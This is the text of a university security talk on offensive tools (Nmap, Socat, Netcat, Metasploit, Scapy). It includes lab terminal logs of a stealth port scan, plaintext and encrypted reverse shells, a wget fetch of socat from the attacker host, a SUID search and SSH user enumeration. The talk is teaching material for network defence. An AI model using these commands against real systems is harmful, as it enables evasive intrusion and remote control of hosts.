

Offensive Security Tools for Operational Security

Aqeeb Hussain (Durham University – DiRAC)

Purpose of offensive security tools

- Identification of open services (Assessing the access vector from internal/external perspectives)
- Scanning of vulnerabilities via plugins, banner grabbing, manual recon and automation
- Execution of vulnerabilities to confirm their impact and applying patches following CVEs.

NMAP (Network Mapper)

- Active network reconnaissance tool (Information gathering with direct interaction to devices)
- Port scanning – Ability to identify if device ports are open or not and ability to evade monitoring such as PSAD (Port Scan Attack Detector)
- Version/Service detection – Identifying exact services and versions of target port(s)
- Vulnerability scanning – Being able to automate procedure of scanning vulnerabilities (Vulners DB plugin)

NMAP Output (Stealth)

```
root@kali-linux-main:~# nmap -Pn -n -sN --mtu=40 -T2 192.168.0.16 -p 139,445,3389,8080,135
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-09 06:02 GMT
Nmap scan report for 192.168.0.16
Host is up (0.00024s latency).

PORT      STATE      SERVICE
135/tcp   open|filtered msrpc
139/tcp   open|filtered netbios-ssn
445/tcp   open|filtered microsoft-ds
3389/tcp  open|filtered ms-wbt-server
8080/tcp  open|filtered http-proxy
MAC Address: D8:F2:CA:CB:21:04 (Intel Corporate)

Nmap done: 1 IP address (1 host up) scanned in 5.96 seconds
```

Socat (Big brother of Netcat)

- Bigger learning curve than Netcat but way more capabilities
- Ability to invoke encrypted bind/reverse shells (Testing firewall and monitoring security) – Evasion of payload analysis
- Forming TCP proxies and relays which can identify holes within a network infrastructure
- Further information:
https://www.radarhack.com/tutorial/DEFEATING_THE_NETWORK_SECURITY_INFRASTRUCTURE.pdf

Why not use netcat?

```
root@kali-linux-main:~# ngrep -qt host 192.168.0.17 and port 80
interface: eth0 (192.168.0.0/255.255.255.0)
filter: ( host 192.168.0.17 and port 80 ) and ((ip || ip6) || (vlan && (ip || ip6)))

T 2021/02/06 04:11:40.357423 192.168.0.17:80 -> 192.168.0.46:40146 [AP] #1
ls.

T 2021/02/06 04:11:40.358833 192.168.0.46:40146 -> 192.168.0.17:80 [AP] #2
ls..aqeeb@aqeeb:~$

T 2021/02/06 04:11:45.874905 192.168.0.17:80 -> 192.168.0.46:40146 [AP] #4
cd /tmp.

T 2021/02/06 04:11:45.875447 192.168.0.46:40146 -> 192.168.0.17:80 [AP] #5
cd /tmp..aqeeb@aqeeb:/tmp$

T 2021/02/06 04:11:46.210348 192.168.0.17:80 -> 192.168.0.46:40146 [AP] #7
ls.

T 2021/02/06 04:11:46.211770 192.168.0.46:40146 -> 192.168.0.17:80 [AP] #8
ls...[0m.[01;34msystemd-private-40c7e1b5265d41e29016646b7ea5c8b3-systemd-resolved.servi
1.[0m..aqeeb@aqeeb:/tmp$

T 2021/02/06 04:12:32.563259 192.168.0.17:80 -> 192.168.0.46:40146 [AP] #10
echo "Attacker communication which is plain-text.".

T 2021/02/06 04:12:32.563853 192.168.0.46:40146 -> 192.168.0.17:80 [AP] #11
echo "Attacker communication which is plain-text"..Attacker communication which is pla
```

```
root@kali-linux-main:~# nc -nvvp 80
listening on [any] 80 ...
connect to [192.168.0.17] from (UNKNOWN) [192.168.0.46] 40146
ls
python3 -c 'import pty; pty.spawn("/bin/bash")'
aqeeb@aqeeb:~$ ls
ls
aqeeb@aqeeb:~$ id
id
uid=1000(aqeeb) gid=1000(aqeeb) groups=1000(aqeeb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
aqeeb@aqeeb:~$ pwd
pwd
/home/aqeeb
aqeeb@aqeeb:~$ find / -perm u+s 2>/dev/nul
find / -perm u+s 2>/dev/nul
bash: /dev/nul: Permission denied
aqeeb@aqeeb:~$ find / -perm u+s 2>/dev/null
find / -perm u+s 2>/dev/null
aqeeb@aqeeb:~$ ls
ls
aqeeb@aqeeb:~$ cd /tmp
cd /tmp
aqeeb@aqeeb:/tmp$ ls
ls
systemd-private-40c7e1b5265d41e29016646b7ea5c8b3-systemd-resolved.service-TLIpyC
systemd-private-40c7e1b5265d41e29016646b7ea5c8b3-systemd-timesyncd.service-WH4KJR
vmware-root_747-4282367541
aqeeb@aqeeb:/tmp$ echo "Attacker communication which is plain-text."
echo "Attacker communication which is plain-text."
Attacker communication which is plain-text.
aqeeb@aqeeb:/tmp$ find
```

This time with encryption...

```
.....@D.K.T...Q....3...w/..
T 2021/02/06 04:34:41.801252 192.168.0.46:40182 -> 192.168.0.17:80 [AP] #114
.....Z...XE`N..B.CF...s....."X.y.....4^.r.....0E.m...^9...Wr.%e.....@.K|cC.Q..b
T 2021/02/06 04:34:41.801480 192.168.0.46:40182 -> 192.168.0.17:80 [AP] #116
.....>l=N...y.P.....m.s.6...j.R.....'@eu.u>...qse..X..lSk.-P.)?...
b1g.....<....>..>2....j/.@."AZM.&...S.9t..d.....Y.4...r.{.....7V.Z
T 2021/02/06 04:34:41.801794 192.168.0.46:40182 -> 192.168.0.17:80 [AP] #118
....#...L....*5.w..C`.R\.;..[...p..N....
T 2021/02/06 04:34:47.598799 192.168.0.17:80 -> 192.168.0.46:40182 [AP] #120
....!..]fCp.B..7.....b=.....Nl\>.+
T 2021/02/06 04:34:47.599373 192.168.0.46:40182 -> 192.168.0.17:80 [AP] #121
.... .6.~\....5..v....@i{... ..QQ....
T 2021/02/06 04:34:47.599596 192.168.0.46:40182 -> 192.168.0.17:80 [AP] #123
.....N.!...|...pZ/r}g.".
T 2021/02/06 04:34:47.624445 192.168.0.46:40182 -> 192.168.0.17:80 [AP] #125
....#...Y.gq.....V.....:E.>4....!.Q...^V!
T 2021/02/06 04:34:56.582215 192.168.0.17:80 -> 192.168.0.46:40182 [AP] #127
.....{G...so....-#...5.i.[d.
```

```
root@kali-linux-main:/tmp# openssl s_server -quiet -key key.pem -cert cert.pem -port 80
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
aqeeb@aqeeb:/tmp$ wget http://192.168.0.17:8080/socat
wget http://192.168.0.17:8080/socat
--2021-02-06 04:34:42-- http://192.168.0.17:8080/socat
Connecting to 192.168.0.17:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 378384 (370K) [application/octet-stream]
Saving to: 'socat'

socat                               100%[=====] 369.52K  --.-KB/s   in 0.002s

2021-02-06 04:34:42 (226 MB/s) - 'socat' saved [378384/378384]

aqeeb@aqeeb:/tmp$ ls
ls
readme.txt
$
socat
systemd-private-40c7e1b5265d41e29016646b7ea5c8b3-systemd-resolved.service-TLIpyC
systemd-private-40c7e1b5265d41e29016646b7ea5c8b3-systemd-timesyncd.service-Wh4KJR
vmware-root_747-4282367541
aqeeb@aqeeb:/tmp$ chmod +x socat
chmod +x socat
aqeeb@aqeeb:/tmp$ ./socat
./socat
2021/02/06 04:34:58 socat[9268] E exactly 2 addresses required (there are 0); use option
aqeeb@aqeeb:/tmp$
```

Metasploit Framework (Ruby)

- All-in-one package to automate known vulnerabilities
- Selecting a vulnerability identified in the recon phase and then being able to execute it using key commands
- Simplified process in vulnerability testing although disadvantage is the inability to explore exploit.
- More info about Metasploit: <https://www.offensive-security.com/metasploit-unleashed/>

Metasploit Framework - Screenshot

```
msf6 > use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > options

Module options (auxiliary/scanner/ssh/ssh_enumusers):

  Name          Current Setting  Required  Description
  ----          -
CHECK_FALSE    false           no        Check for false positives (random
Proxies        no              no        A proxy chain of format type:host
RHOSTS         no              yes       The target host(s), range CIDR i
RPORT          22              yes       The target port
THREADS        1               yes       The number of concurrent threads
THRESHOLD      10              yes       Amount of seconds needed before
USERNAME       no              no        Single username to test (username
USER_FILE      no              no        File containing usernames, one p

Auxiliary action:

  Name          Description
  ----          -
Malformed Packet  Use a malformed packet

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.0.46
rhosts => 192.168.0.46
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set username aqeeb
username => aqeeb
msf6 auxiliary(scanner/ssh/ssh_enumusers) > exploit

[*] 192.168.0.46:22 - SSH - Using malformed packet technique
[*] 192.168.0.46:22 - SSH - Starting scan
[+] 192.168.0.46:22 - SSH - User 'aqeeb' found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_enumusers) >
```

Scapy (Python)

- Python framework designed to create network attacks such as MITM, passive sniffing, port scanning, ARP cache poisoning, VLAN Hopping
- Using Scapy you can create your own attacks and then generate the defensive counterpart by detecting the attack on the infrastructure.
- Python based tools which can evade signature based detection from IDS. Scapy can be used offensively/defensively.
- More info about Scapy: <https://scapy.readthedocs.io/en/latest/usage.html>

Questions?



Thank you!

